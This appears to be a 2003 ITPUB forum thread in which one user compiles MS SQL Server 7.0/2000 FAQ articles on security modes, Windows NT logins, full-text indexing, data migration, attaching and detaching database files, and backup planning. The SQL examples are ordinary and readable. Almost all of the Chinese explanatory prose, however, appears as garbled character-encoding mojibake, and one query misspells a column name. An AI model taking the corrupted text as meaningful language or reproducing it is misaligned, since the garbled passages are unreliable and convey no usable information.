ITPUBÂÛ̳£­×¨ÒµµÄIT¼¼ÊõÉçÇø

±êÌâ: Ms SQL³£¼ûÎÊÌâÊÕ¼¯ÕûÀí¼¯(²»¶ÏÊÕ¼¯ÖÐ...) [´òÓ¡±¾Ò³]

×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:16
±êÌâ: Ms SQL³£¼ûÎÊÌâÊÕ¼¯ÕûÀí¼¯(²»¶ÏÊÕ¼¯ÖÐ...)
Microsoft Corporation

¡¾¡¸Microsoft SQL Server 7.0¡¹ÒÔϼò³Æ¡¸SQL Server 7.0¡¹¡¿

SQL Server 7.0 ÓÐÄļ¸ÖÖ°²È«Ä£Ê½?

Á½ÖÖ£ºSQL ServerºÍWindows NT£¨»ìºÏ£©¼°Windows NT only¡£SQL Server ºÍWindows NTÏ൱ÓÚSQL Server 6.5°æ±¾µÄ»ìºÏģʽ¡£Windows NT onlyÏ൱ÓÚSQL Server 6.5 °æ±¾µÄÐÅÈÎģʽ¡£ÔÚSQL Server 7.0°æûÓÐÌṩÏ൱ÓÚSQL Server 6.5°æ±¾µÄ±ê׼ģʽ¡£

SQL Server 6.5µÄSQL°²È«¹ÜÀíÆ÷£¨Security Manger£©ÎªºÎÔÚSQL Server 7.0²»¼ûÁË£¬Ìæ´ú¹¤¾ßÊÇʲô?

SQL Server 7.0ÌṩÁË°²È«Ïòµ¼£¨Security Wizard£©À´È¡´úSQL°²È«¹ÜÀíÆ÷£¨Security Manger£©¡£

ʹÓÃSQL ServerºÍ Windows NT£¨»ìºÏ£©°²È«Ä£Ê½µÄÓŵãÊÇʲô?

·ÇWindows NT ¿Í»§¶Ë£¬Internet ¿Í»§¶ËÒà¿ÉµÇ¼ ¡£
Ìṩ¶à²ã±£»¤ ¡£
ʹÓÃWindows NT only°²È«Ä£Ê½µÄÓŵãÊÇʲô?

Óû§¿ÉÒÔ¸ü¿ìËٵǼSQLServer£¬¶øÎÞÐèÁíÍâÔÙ¼ÇÒ»¸öÃÜÂë¡£
ʹÓÃNTÌṩµÄÃÜÂëÉèÖù¦ÄÜ£¬Èç×îСÃÜÂ볤¶È£¨minimum password length£©£¬..
Ö»ÐèΪNT×éÉ趨ÕʺźÍ×éÉèÖá£
ÈçºÎÉèÖÃSQL Server µÄ°²È«Ä£Ê½?

Æô¶¯SQL ServerÆóÒµ¹ÜÀíÆ÷£¨Enterprise Manager£©¡£
ÔÚ¿ØÖÆ̨£¨console£©Ê÷ÖУ¬Õ¹¿ªMicrosoft SQL Servers£¬È»ºóÕ¹¿ªSQL Server Group»òÄúÉ趨µÄ×飬µ¥»÷Ñ¡ÔñÒªÉ趨µÄSQL Server¡£
µ¥»÷Êó±êÓÒ¼ü£¬Ñ¡Ôñ"ÊôÐÔ£¨Properties£©"£¬È»ºóÑ¡Ôñ"°²È«£¨Security£©"Ñ¡Ï¡£
ÔÚSecurity²¿·ÖÑ¡Ôñ"SQL Server and Windows NT"»òÊÇ"Windows NT only" ¡£
ÈçºÎÔÚSQL ServerÆóÒµ¹ÜÀíÆ÷ÖУ¬ÉèÖÃÔÊÐíÒ»¸öWindows NT×é»òÓû§ÄܵǼSQL Server?

ÔÚSQL ServerÆóÒµ¹ÜÀíÆ÷ÖУ¬Õ¹¿ªÒª¼ÓÈëWindows NT×é»òÓû§ÕʺŵÄSQL Server£¬ÔÙÕ¹¿ªSecurity Îļþ¼Ð£¬Ñ¡Ôñ login£¬È»ºóµ¥»÷Êó±êÓÒ¼ü£¬Ñ¡Ôñ¿ì½Ý²Ëµ¥ÖеÄnew login¡£
Ñ¡Ôñ"General"Ñ¡Ï£¬ÔÚName×Ö¶ÎÖÐÌîÈë"Óò\ÕʺÅ"»ò"Óò\×é"¡£
ÔÚAuthentication£¨Éí·ÝÑéÖ¤£©²¿·ÖÑ¡ÔñWindows NT Authentication£¨Windows NTÉí·ÝÑéÖ¤£©£¬È»ºóÑ¡Ôñdomain £¨Óò£©¡£
ÔÚDefault£¨Ä¬ÈÏ£©²¿·ÖÑ¡ÔñÔ¤ÉèÊý¾Ý¿âºÍÓïÑÔ¡£
µ¥»÷"OK£¨È·¶¨£©°´Å¥¡£
ÈçºÎʹÓÃSQL Server´æ´¢¹ý³Ì£¬Ê¹Ò»¸öWindows NT×é»òÓû§ÄܵǼSQL Server?

sp_grantlogin {'login'}
ÆäÖÐ'login" °üº¬Óò¼°×é/Óû§Õʺţ¬²»¿É³¬¹ý128¸ö×Ö·û¡£

É趨Windows NT×é»òÓû§µÇ¼SQL ServerʱÐèҪעÒâÄÄЩÊÂÏî?

Èç¹ûSQL ServerµÄµÇ¼id¶ÔÓ¦ÓÚÒ»¸öWindows NT×飬Ìí¼Ó»òɾ³ýWindows NT×éÖеÄÓû§²»ÐèÖØн¨Á¢SQL Server µÄµÇ¼id¡£
Èç¹ûSQL ServerµÄµÇ¼id¶ÔÓ¦ÓÚÒ»¸öWindows NT×é»òÓû§£¬½«´ËWindows NT×é»òÓû§É¾³ý²¢²»»á½«´ËSQL Server µÄµÇ¼idɾ³ý¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:18
SQL Server 2000ÖÐÈ«ÎļìË÷µÄʹÓÃ(1)  

  
ÒýÑÔ

΢ÈíµÄSQL ServerÊý¾Ý¿âÊÇÒ»¸öÔÚÖеͶËÆóÒµÓ¦ÓÃÖÐÕ¼Óй㷺Êг¡µÄ¹ØϵÐÍÊý¾Ý¿âϵͳ£¬ËüÒÔ¼òµ¥¡¢·½±ã¡¢Ò×ÓõÈÌØÐÔÉîµÃÖÚ¶àÈí¼þ¿ª·¢ÈËÔ±ºÍÊý¾Ý¿â¹ÜÀíÈËÔ±µÄÖÓ°®¡£µ«SQL Server 7.0ÒÔÇ°µÄÊý¾Ý¿âϵͳÓÉÓÚûÓÐÈ«ÎļìË÷¹¦ÄÜ£¬ÖÂʹÎÞ·¨ÌṩÏñÎı¾ÄÚÈݲéÕÒ´ËÀàµÄ·þÎñ£¬³ÉΪһ¸öССµÄÒź¶¡£´ÓSQL Server 7.0Æ𣬵½Èç½ñµÄSQL Server 2000ÖÕÓھ߱¸ÁËÈ«ÎļìË÷¹¦ÄÜ£¬Ê¹Óû§¿ÉÒÔ¸ßЧµØ¼ìË÷´æ´¢ÔÚÊý¾Ý¿âchar¡¢varchar¡¢text¡¢ntext¡¢nchar¡¢nvarcharµÈÊý¾ÝÀàÐÍÁÐÖеÄÎı¾Êý¾Ý¡£

½¨Á¢È«ÎÄË÷Òý

ÔÚ½øÐÐÈ«ÎļìË÷֮ǰ£¬±ØÐëÏȽ¨Á¢ºÍÌî³äÊý¾Ý¿âÈ«ÎÄË÷Òý¡£ÎªÁËÖ§³ÖÈ«ÎÄË÷Òý²Ù×÷£¬SQL Server 7.0ÐÂÔöÁËһЩ´æ´¢¹ý³ÌºÍTransact-SQLÓï¾ä¡£Ê¹ÓÃÕâЩ´æ´¢¹ý³Ì´´½¨È«ÎÄË÷ÒýµÄ¾ßÌå²½ÖèÈçÏ£¨À¨ºÅÄÚΪµ÷ÓõĴ洢¹ý³ÌÃû³Æ£©£º

1. Æô¶¯Êý¾Ý¿âµÄÈ«ÎÄ´¦Àí¹¦ÄÜ(sp_fulltext_

database);£»

2. ½¨Á¢È«ÎļìË÷Ŀ¼(sp_fulltext_catalog);

3.ÔÚÈ«ÎļìË÷Ŀ¼ÖÐ×¢²áÐèҪȫÎÄË÷ÒýµÄ±í(sp_fulltext_table);

4. Ö¸³ö±íÖÐÐèҪȫÎļìË÷µÄÁÐÃû(sp_fulltext_

column);£»

5. Ϊ±í´´½¨È«ÎÄË÷Òý(sp_fulltext_table);£»

6. Ìî³äÈ«ÎļìË÷Ŀ¼(sp_fulltext_catalog)¡£

ÏÂÃæ¾ÙÀý˵Ã÷ÈçºÎ´´½¨È«ÎÄË÷Òý£¬ÔÚ±¾ÀýÖУ¬¶ÔTestÊý¾Ý¿âBook±íÖÐTitleÁкÍNotesÁн¨Á¢È«ÎÄË÷Òý¡£

use test //´ò¿ªÊý¾Ý¿â

//´ò¿ªÈ«ÎÄË÷ÒýÖ§³Ö£¬Æô¶¯SQL ServerµÄÈ«ÎÄËÑË÷·þÎñ

execute sp_fulltext_database ¡®enable¡¯

//½¨Á¢È«ÎļìË÷Ŀ¼ft_test

execute sp_fulltext_catalog ¡®ft_test¡¯, ¡®create¡¯

ΪTitleÁн¨Á¢È«ÎÄË÷ÒýÊý¾ÝÔª£¬pk_titleΪBook±íÖÐÓÉÖ÷¼üËù½¨Á¢µÄΨһË÷Òý£¬Õâ¸ö²ÎÊýÊDZØÐèµÄ¡£

execute sp_fulltext_table ¡®book¡¯£¬¡®create¡¯, ¡®ft_test¡¯£¬¡®pk_title¡¯

//ÉèÖÃÈ«ÎÄË÷ÒýÁÐÃû

execute sp_fulltext_column ¡®book¡¯, ¡®title¡¯, ¡®add¡¯

execute sp_fulltext_column ¡®book¡¯£¬¡®notes¡¯, ¡®add¡¯

//½¨Á¢È«ÎÄË÷Òý

execute sp_fulltext_table ¡®book¡¯, ¡®activate¡¯

//Ìî³äÈ«ÎÄË÷ÒýĿ¼

execute sp_fulltext_catalog ¡®ft_test¡¯, ¡®start_full¡¯

ÖÁ´Ë£¬È«ÎÄË÷Òý½¨Á¢Íê±Ï¡£

½øÐÐÈ«ÎļìË÷

SQL Server 2000ÌṩµÄÈ«ÎļìË÷Óï¾äÖ÷ÒªÓÐCONTAINSºÍFREETEXT¡£CONTAINSÓï¾äµÄ¹¦ÄÜÊÇÔÚ±íµÄËùÓÐÁлòÖ¸¶¨ÁÐÖÐËÑË÷£ºÒ»¸ö×Ö»ò¶ÌÓһ¸ö×Ö»ò¶ÌÓïµÄǰ׺£»ÓëÒ»¸ö×ÖÏà½üµÄÁíÒ»¸ö×Ö£»Ò»¸ö×ÖµÄÅÉÉú×Ö£»Ò»¸öÖظ´³öÏÖµÄ×Ö¡£

CONTAINSÓï¾äµÄÓï·¨¸ñʽΪ£º

CONTAINS({column | *}), <contains_search

_condition>
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:18
ÆäÖУ¬columnÊÇËÑË÷ÁУ¬Ê¹Óá°*¡±Ê±ËµÃ÷¶Ô±íÖÐËùÓÐÈ«ÎÄË÷ÒýÁнøÐÐËÑË÷¡£Contains_search_

condition ˵Ã÷CONTAINSÓï¾äµÄËÑË÷ÄÚÈÝ£¬ÆäÓï·¨¸ñʽΪ£º

{<simple_term>|<prefix_term>|<proximity_term>|<generation_term>|<weighted_term>}[{{AND|AND NOT|OR}<contains_search_condition>}] [...n]

ÏÂÃæ¾Ísimple_termºÍprefix_term²ÎÊý×ö¼òҪ˵Ã÷£º

simple_termÊÇCONTAINSÓï¾äËùËÑË÷µÄµ¥×Ö»ò¶ÌÓµ±ËÑË÷µÄÊÇÒ»¸ö¶ÌÓïʱ£¬±ØÐëʹÓÃË«ÒýºÅ×÷Ϊ¶¨½ç·û¡£Æä¸ñʽΪ£º

{¡®word¡¯|¡° phrase¡±}

prefix_term˵Ã÷CONTAINSÓï¾äËùËÑË÷µÄ×Ö»ò¶ÌÓïǰ׺£¬Æä¸ñʽΪ£º

{¡°word*¡± | ¡°phrase*¡±}

ÀýÈ磬ÏÂÃæÓï¾ä¼ìË÷Book±íµÄTitleÁкÍNotesÁÐÖаüº¬¡°database¡±»ò¡°computer¡±×Ö·û´®µÄͼÊéÃû³Æ¼°Æä×¢ÊÍÐÅÏ¢£º

select title, notes

from book

where contains(tilte, ¡®database¡¯) or contains(notes£¬¡®database¡¯)

or contains(title£¬¡®computer¡¯) or contains(notes£¬¡®computer¡¯)

FREETEXTÓï¾äµÄ¹¦ÄÜÊÇÔÚÒ»¸ö±íµÄËùÓÐÁлòÖ¸¶¨ÁÐÖÐËÑË÷Ò»¸ö×ÔÓÉÎı¾¸ñʽµÄ×Ö·û´®£¬²¢·µ»ØÓë¸Ã×Ö·û´®Æ¥ÅäµÄÊý¾ÝÐС£ËùÒÔ£¬FREETEXTÓï¾äËùÖ´ÐеŦÄÜÓÖ³Æ×ö×ÔÓÉʽȫÎIJéѯ¡£

FREETEXTÓï¾äµÄÓï·¨¸ñʽΪ£ºFREETEXT({column | * }£¬¡®freetext_string¡¯)

ÆäÖУ¬columnÊDZ»ËÑË÷ÁУ¬Ê¹Óá°*¡±Ê±ËµÃ÷¶Ô±íÖеÄËùÓÐÈ«ÎÄË÷ÒýÁнøÐÐËÑË÷¡£Freetext_string²ÎÊýÖ¸³öËùËÑË÷µÄ×ÔÓÉÎı¾¸ñʽ×Ö·û´®¡£

ÀýÈ磬ÏÂÃæÓï¾äʹÓÃFREETEXTÓï¾äËÑË÷Book±íÖаüº¬¡°Successful Life¡±×Ö·û´®µÄÊý¾ÝÐУº

select title, notes

from book

where freetext(*£¬¡®Successful Life¡¯)
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:19
SQL Server 7.0Êý¾Ý¿âµÄÁùÖÖÊý¾ÝÒƶ¯·½·¨(1)  
  
[www.Googln.com 2002-9-11 7:58:40 ]  
  
±¾ÈË´ÓÊµĹ¤×÷ÊÇÊý¾Ý¿â¹ÜÀíÔ±£¬ÒªÎ¬»¤¶ą̀·þÎñÆ÷ÖеÄÊý¾Ý¿â£¬¾­³£°Ñij̨·þÎñÆ÷ÖеÄij¸öÊý¾Ý¿âÒƶ¯µ½ÁíÍâһ̨·þÎñÆ÷£¬¶ÔÊý¾ÝµÄÒƶ¯ÓÐЩÐĵÃÌå»á£¬Ï£ÍûºÍ´ó¼Ò¹²Í¬½»Á÷¡£
1. ͨ¹ý¹¤¾ßDTSµÄÉè¼ÆÆ÷½øÐе¼Èë»òµ¼³ö
DTSµÄÉè¼ÆÆ÷¹¦ÄÜÇ¿´ó£¬Ö§³Ö¶àÈÎÎñ£¬Ò²ÊÇ¿ÉÊÓ»¯½çÃ棬ÈÝÒײÙ×÷£¬µ«ÖªµÀµÄÈËÒ»°ã²»¶à£¬Èç¹ûÖ»ÊǽøÐÐSQL ServerÊý¾Ý¿âÖв¿·Ö±íµÄÒƶ¯£¬ÓÃÕâÖÖ·½·¨×îºÃ£¬µ±È»£¬Ò²¿ÉÒÔ½øÐÐÈ«²¿±íµÄÒƶ¯¡£ÔÚSQL Server Enterprise ManagerÖУ¬Õ¹¿ª·þÎñÆ÷×ó±ßµÄ+£¬Ñ¡ÔñÊý¾Ý¿â£¬ÓÒ»÷£¬Ñ¡ÔñAll tasks/Import Data...(»òAll tasks/Export Data...)£¬½øÈëÏòµ¼Ä£Ê½£¬°´Ìáʾһ²½Ò»²½×ß¾ÍÐÐÁË£¬ÀïÃæ·ÖµÃºÜϸ£¬¿ÉÒÔÁé»îµÄÔÚ²»Í¬Êý¾ÝÔ´Ö®¼ä¸´ÖÆÊý¾Ý£¬ºÜ·½±ãµÄ¡£¶øÇÒ¿ÉÒÔÁí´æ³ÉDTS°ü£¬Èç¹ûÒÔºó»¹ÓÐÏàͬµÄ¸´ÖÆÈÎÎñ£¬Ö±½ÓÔËÐÐDTS°ü¾ÍÐУ¬Ê¡Ê±Ê¡Á¦¡£Ò²¿ÉÒÔÖ±½Ó´ò¿ªDTSÉè¼ÆÆ÷£¬·½·¨ÊÇÕ¹¿ª·þÎñÆ÷Ãû³ÆÏÂÃæµÄData Transformation Services£¬Ñ¡Local Packages£¬ÔÚÓұߵĴ°¿ÚÖÐÓÒ»÷£¬Ñ¡New Package£¬¾Í´ò¿ªÁËDTSÉè¼ÆÆ÷¡£ÖµµÃ×¢ÒâµÄÊÇ£ºÈç¹ûÔ´Êý¾Ý¿âÒª¿½±´µÄ±íÓÐÍâ¼ü£¬×¢ÒâÒƶ¯µÄ˳Ðò£¬ÓÐʱҪ·ÖÅúÒƶ¯£¬·ñÔòÍâ¼üÖ÷¼ü£¬Ë÷Òý¿ÉÄܶªÊ§£¬Òƶ¯µÄʱºòÑ¡ÏîÅԱߵÄÌáʾ˵µÄºÜÃ÷°×£¬»òÕßÒ»´ÎÐԵĸ´ÖƵ½Ä¿±êÊý¾Ý¿âÖУ¬ÔÙÖØн¨Á¢Íâ¼ü£¬Ö÷¼ü£¬Ë÷Òý¡£
Æäʵ½¨Á¢Êý¾Ý¿âʱ£¬½¨Á¢Íâ¼ü£¬Ö÷¼ü£¬Ë÷ÒýµÄÎļþÓ¦¸ÃºÍ½¨±íÎļþ·Ö¿ª£¬¶øÇÒÓõÄÊý¾ÝÎļþÒ²·Ö¿ª£¬²¢·Ö±ð·ÅÔÚ²»Í¬µÄÇý¶¯Æ÷ÉÏ£¬ÓÐÀûÓÚÊý¾Ý¿âµÄÓÅ»¯¡£
2. ÀûÓÃBcp¹¤¾ß
ÕâÖÖ¹¤¾ßËäÈ»ÔÚSQL Server7µÄ°æ±¾Öв»ÍƼöʹÓ㬵«Ðí¶àÊý¾Ý¿â¹ÜÀíÔ±ÈÔºÜϲ»¶ÓÃËü£¬ÓÈÆäÊÇÓùýSQL ServerÔçÆÚ°æ±¾µÄÈË¡£BcpÓоÖÏÞÐÔ£¬Ê×ÏÈËüµÄ½çÃæ²»ÊÇͼÐλ¯µÄ£¬Æä´ÎËüÖ»ÊÇÔÚSQL ServerµÄ±í£¨ÊÓͼ£©ÓëÎı¾ÎļþÖ®¼ä½øÐи´ÖÆ£¬µ«ËüµÄÓŵãÊÇÐÔÄܺ㬿ªÏúС£¬Õ¼ÓÃÄÚ´æÉÙ£¬Ëٶȿ졣ÓÐÐËȤµÄÅóÓÑ¿ÉÒÔ²é²Î¿¼Êֲᡣ
3. ÀûÓñ¸·ÝºÍ»Ö¸´
ÏȶÔÔ´Êý¾Ý¿â½øÐÐÍêÈ«±¸·Ý£¬±¸·Ýµ½Ò»¸öÉ豸£¨device£©ÉÏ£¬È»ºó°Ñ±¸·ÝÎļþ¸´ÖƵ½Ä¿µÄ·þÎñÆ÷ÉÏ£¨»Ö¸´µÄËٶȿ죩£¬½øÐÐÊý¾Ý¿âµÄ»Ö¸´²Ù×÷£¬ÔÚ»Ö¸´µÄÊý¾Ý¿âÃûÖÐÌîÉÏÔ´Êý¾Ý¿âµÄÃû×Ö£¨Ãû×Ö±ØÐëÏàͬ£©£¬Ñ¡ÔñÇ¿ÖÆÐͻָ´£¨¿ÉÒÔ¸²¸ÇÒÔÇ°Êý¾Ý¿âµÄÑ¡Ï£¬ÔÚÑ¡Ôñ´ÓÉ豸ÖнøÐлָ´£¬ä¯ÀÀʱѡÖб¸·ÝµÄÎļþ¾ÍÐÐÁË¡£ÕâÖÖ·½·¨¿ÉÒÔÍêÈ«»Ö¸´Êý¾Ý¿â£¬°üÀ¨Íâ¼ü£¬Ö÷¼ü£¬Ë÷Òý¡£
4. Ö±½Ó¿½±´Êý¾ÝÎļþ
°ÑÊý¾Ý¿âµÄÊý¾ÝÎļþ£¨*.mdf£©ºÍÈÕÖ¾Îļþ£¨*.ldf£©¶¼¿½±´µ½Ä¿µÄ·þÎñÆ÷£¬ÔÚSQL Server Query AnalyzerÖÐÓÃÓï¾ä½øÐлָ´:
EXEC sp_attach_db @dbname = 'test',
@filename1 = 'd:\mssql7\data\test_data.mdf',
@filename2 = 'd:\mssql7\data\test_log.ldf'
ÕâÑù¾Í°ÑtestÊý¾Ý¿â¸½¼Óµ½SQL ServerÖУ¬¿ÉÒÔÕÕ³£Ê¹Óá£Èç¹û²»ÏëÓÃÔ­À´µÄÈÕÖ¾Îļþ£¬¿ÉÒÔÓÃÈçϵÄÃüÁ
EXEC sp_detach_db @dbname = 'test'
EXEC sp_attach_single_file_db @dbname = 'test',
@physname = 'd:\mssql7\data\test_data.mdf'
Õâ¸öÓï¾äµÄ×÷ÓÃÊǽö½ö¼ÓÔØÊý¾ÝÎļþ£¬ÈÕÖ¾Îļþ¿ÉÒÔÓÉSQL ServerÊý¾Ý¿â×Ô¶¯Ìí¼Ó£¬µ«ÊÇÔ­À´µÄÈÕÖ¾ÎļþÖмǼµÄÊý¾Ý¾Í¶ªÊ§ÁË¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:19
SQL Server 7.0Êý¾Ý¿âµÄÁùÖÖÊý¾ÝÒƶ¯·½·¨(2)  
  
[www.Googln.com 2002-9-11 7:58:40 ]  
  
5. ÔÚÓ¦ÓóÌÐòÖж¨ÖÆ
¿ÉÒÔÔÚÓ¦ÓóÌÐò£¨PB¡¢VB£©ÖÐÖ´ÐÐ×Ô¼º±àдµÄ³ÌÐò£¬Ò²¿ÉÒÔÔÚQuery AnalyzerÖÐÖ´ÐУ¬ÕâÖÖ·½·¨±È½ÏÁé»î£¬ÆäʵÊÇÀûÓÃÒ»¸öƽ̨Á¬½Óµ½Êý¾Ý¿â£¬ÔÚƽ̨ÖÐÓõÄÖ÷ҪʱSQLÓï¾ä£¬ÕâÖÖ·½·¨¶ÔÊý¾Ý¿âµÄÓ°ÏìС£¬µ«ÊÇÈç¹ûÓõ½Ô¶³ÌÁ´½Ó·þÎñÆ÷£¬ÒªÇóÍøÂçÖ®¼äµÄ´«ÊäÐÔÄܺã¬Ò»°ãÓÐÁ½ÖÖÓï¾ä£º
1> select ... into new_tablename where ...
2> insert (into) old_tablename select ... from ... where ...
Çø±ðÊÇÇ°Õß°ÑÊý¾Ý²åÈëÒ»¸öÐÂ±í£¨ÏȽ¨Á¢±í£¬ÔÙ²åÈëÊý¾Ý£©£¬ºóÕßÊÇ°ÑÊý¾Ý²åÈëÒѾ­´æÔÚµÄÒ»¸ö±íÖУ¬ÎÒ¸öÈËϲ»¶ºóÕߣ¬ÒòΪÔÚ±à³ÌµÄ½á¹¹ÉÏ£¬Ó¦Óõķ¶Î§ÉÏ£¬µÚ¶þÌõÓï¾äÇ¿ÓÚÇ°Õß¡£
6. SQL ServerµÄ¸´Öƹ¦ÄÜ
SQL ServerÌṩÁËÇ¿´óµÄÊý¾Ý¸´Öƹ¦ÄÜ£¬Ò²ÊÇ×î²»Ò×ÕÆÎյģ¬¾ßÌåÓ¦ÓÃÇë²Î¿¼Ïà¹Ø×ÊÁÏ£¬ÖµµÃ×¢ÒâµÄÊÇÒªÏë³É¹¦½øÐÐÊý¾ÝµÄ¸´Öƹ¤×÷£¬ÓÐЩÌõ¼þÊDZز»¿ÉÉٵģº
1>SQL Server Agent±ØÐëÆô¶¯£¬MSDTC±ØÐëÆô¶¯¡£
2>ËùÓÐÒª¸´ÖƵıí±ØÐëÓÐÖ÷¼ü¡£
3>Èç¹û±íÖÐÓÐtext»òimageÊý¾ÝÀàÐÍ£¬±ØÐëʹÓÃwith logÑ¡Ï²»ÄÜʹÓÃwith no_logÑ¡Ïî¡£
ÁíÍâmax text repl sizeÑ¡Ïî¿ØÖÆ¿ÉÒÔ¸´ÖƵÄÎı¾ºÍͼÏñÊý¾ÝµÄ×î´ó¹æÄ££¬³¬¹ýÕâ¸öÏÞÖƵIJÙ×÷½«Ê§°Ü¡£
4>ÔÚÒª½øÐи´ÖƵļÆËã»úÉÏ£¬Ó¦¸ÃÖÁÉÙÊÇÒþº¬¹²Ïí£¬¼´¹²ÏíÃûÊÇC$»òD$¡­¡£
5>ΪSQL Server´úÀíʹÓõÄWindows NTÕʺŲ»ÄÜÊÇÒ»¸ö±¾µØµÄϵͳÕʺţ¬ÒòΪ±¾µØµÄϵͳÕʺŲ»ÔÊÐíÍøÂç´æÈ¡¡£
6>Èç¹û²ÎÓ븴ÖƵķþÎñÆ÷ÔÚÁíÍâµÄ¼ÆËã»úÓòÖУ¬±ØÐëÔÚÕâЩÓòÖ®¼ä½¨Á¢ÐÅÈιØϵ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:20
°Ñ¿½±´¹ýµÄSQL Server 7Êý¾Ý¿â»Ö¸´µÄÕýÈ··½·¨  
  
[www.Googln.com 2002-11-18 9:36:52 ]  
  
ÔÚSQL Server 7ÖÐÓÉÓÚMSÖØÐÂÉè¼ÆÁËÊý¾Ý¿âÎļþµÄ´æ´¢·½Ê½£¬È¡ÏûÁËн¨É豸ÔÙ½¨Êý¾Ý¿âÕâÒ»·±ËöµÄ¹ý³Ì¡£ÐµĴ洢¸ñʽ,Ò»¸öÊý¾Ý¿â°üÀ¨Á½¸öÎļþ£¬mdfÊý¾Ý¿âÎļþºÍldfÈÕÖ¾Îļþ¡£ËùÒÔÎÒÃÇÔÚÖØ×°»úÆ÷±¸·Ýʱ¿ÉÒÔ°ÑÄãÒª±¸·ÝµÄÊý¾Ý¿âµÄÕâÁ½¸öÎļþ¿½±´³öÀ´£¬ÖØа²×°Ö®ºóÔÙ»Ö¸´¡£
¡¡¡¡ÔÚSQL ServerÖÐÌṩÁËÕâÖÖ»Ö¸´·½Ê½µÄ´æ´¢¹ý³Ì¡£
   1.sp_attach_db [@dbname =] 'dbname',[@filename1 =] 'filename_n'
    ¸øϵͳÌí¼ÓÒ»¸öÊý¾Ý¿â£¬ÔÚdbnameÖ¸¶¨Êý¾Ý¿âÃû³Æ£¬filename£ßnÖ¸¶¨Êý¾Ý¿âµÄÎļþºÍÈÕÖ¾Îļþ¡£±ÈÈçÎÒÓÐÒ»¸övoogiyaµÄ¿â£¬Í£Ö¹SQL Server·þÎñ±¸·Ývoogiya_data.mdf,voogiya_log.ldf£¬Æô¶¯SQL server,ɾ³ýµôÕâ¸ö¿â£¬È»ºóÔÙ°ÑÕâÁ½ÉÏÎļþ¿½µ½sql server¡¡DATAĿ¼ÖУ¬ÔÚQuery AnalyzerÖÐÖ´ÐÐÈçÏÂÓï¾ä£º
   EXEC sp_attach_db @dbname = N'voogiya',
   @filename1 = N'd:\mssql7\data\voogiya_data.mdf',
   @filename2 = N'd:\mssql7\data\voogiya_log.ldf'
¾Í»á°ÑÕâ¸ö¿â¼ÓÈëµ½SQL Server GroupÖÐ.
   2.sp_attach_single_file_db [@dbname =] 'dbname',
   [@physname =] 'physical_name'
    Õâ¸öÃüÁîºÍÉÏÃæµÄ¹¦ÄÜÒ»Ñù£¬ÔÚphysical_nameÖÐֻҪдÉϾݿâµÄÎïÀíÎļþÃû¾Í¿ÉÒÔÁË£¬ÈÕÖ¾ÎļþSQL server»áÖØн¨Á¢¡£Õâ¸ö´æ´¢¹ý³ÌµÄÔËÐÐÒªÏÈÖ´ÐÐÏÂÃæµÄ´æ´¢¹ý³Ì£º
    sp_detach_db @dbname = 'dbname'
    ͬÑùÒÔÉÏÃæµÄΪÀý£º
    EXEC sp_detach_db @dbname = 'voogiya'
    EXEC sp_attach_single_file_db @dbname = 'voogiya',
   @physname = 'd:\mssql7\data\voogiya_data.mdf'
   

ҪעÒâÖ´ÐÐÒÔÉÏ´æ´¢¹ý³ÌµÄÓû§ÒªÔÚsysadminÖÐ.

ÒÔÉÏ·½·¨ÔÚwindows Nt 4.0,service pack5,sql server 7.0ÉÏÔËÐÐͨ¹ý¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:21
Sql ServerÊý¾Ý¿â±¸·ÝµÄÁíÀà½â¾ö·½°¸(1)  
  
[www.Googln.com 2002-11-18 9:39:26 ]  
  
Ò»¡¢±³¾°
Ò»µ©ÏµÍ³Õý³£ÔËÐÐÒÔºó£¬ÏµÍ³Î¬»¤×îÖ÷Òª¹¤×÷¾ÍÊÇÊý¾Ý°²È«Óë¿É»Ö¸´ÐÔ¡£±¾·½°¸£¨ÒÔÏÂÌáµ½µÄÊý¾Ý¿â¾ùָ΢ÈíµÄSql Server7.0»òÒÔÉÏÊý¾Ý¿â£©Ö÷Ҫ̽ÌÖÊý¾Ý¿â±¸·ÝÓë»Ö¸´¡£
Ò»°ãµÄÊý¾Ý±¸·Ý½â¾ö·½°¸ÎÞ·ÇÊÇÒÔÏÂÈýÖÖ£º£¨1£©¡¢´Å´ø±¸·Ý£»£¨2£©¡¢Ë«»úÈȱ¸·Ý£»£¨3£©¡¢ÊÖ¹¤±¸·Ý¡£×÷Ϊһ°ãµÄÖÐСÐÍÕþ¸®²¿ÃźÍÆóÒµ²ÉÓôŴø±¸·Ý£¬´ú¼ÛÌ«¸ß£¬ÐÔÄܼ۸ñ±È²»¸ß£»ÆÕ±é²ÉÓõĿÉÄÜÊÇË«»úÈȱ¸·Ý·½°¸£¬µ«ÊÇÓû§¿ÉÄÜÒÀÈ»²»·ÅÐÄ£¬»¹ÐèÒªÊÖ¹¤±¸·Ý£¬°ÑÊý¾Ý´æ·Åµ½Ò»¸öÓëÍâ½ç¶Ï¾øÁªÏµµÄ¿É¿Ø»·¾³ÖУ¬ÕâÖÖÇé¿öÊÇÆÕͨ´æÔڵġ£ËùÒÔ×÷Ϊ˫»úÈȱ¸·Ý·½°¸µÄ¸¨Öú·½°¸»òÕßÔÚÌõ¼þÏÞÖƵÄÇé¿öÏ£¬×÷Ϊ˫»úÈȱ¸·ÝµÄÌæ´ú·½°¸£¬ÓбØÒªÕûÀí³öÒ»Ì×ÊÖ¹¤±¸·Ý·½°¸¡£

¶þ¡¢Éè¼Æ˼·
